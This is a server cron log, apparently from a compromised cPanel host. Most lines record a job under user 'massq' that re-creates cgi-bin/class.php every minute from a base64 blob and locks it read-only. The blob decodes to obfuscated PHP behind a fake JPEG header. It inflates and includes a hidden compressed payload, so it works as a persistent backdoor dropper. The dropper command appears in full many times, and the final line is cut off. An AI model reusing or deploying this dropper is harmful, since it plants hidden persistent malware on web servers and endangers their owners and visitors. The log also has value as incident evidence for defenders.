Apr  9 05:12:01 server CROND[24699]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 05:13:01 server CROND[24806]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 05:14:01 server CROND[24868]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 05:15:01 server CROND[25023]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 05:15:01 server CROND[25025]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 05:15:01 server CROND[25024]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 05:16:01 server CROND[25161]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 05:17:01 server CROND[25227]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 05:18:01 server CROND[25288]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 05:19:01 server CROND[25352]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 05:20:01 server CROND[25520]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 05:20:01 server CROND[25522]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 05:20:01 server CROND[25523]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 05:20:01 server CROND[25524]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 05:20:01 server CROND[25521]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 05:21:01 server CROND[25649]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 05:22:01 server CROND[25716]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 05:23:01 server CROND[25774]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 05:24:01 server CROND[25828]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 05:25:01 server CROND[25991]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 05:25:01 server CROND[25992]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUF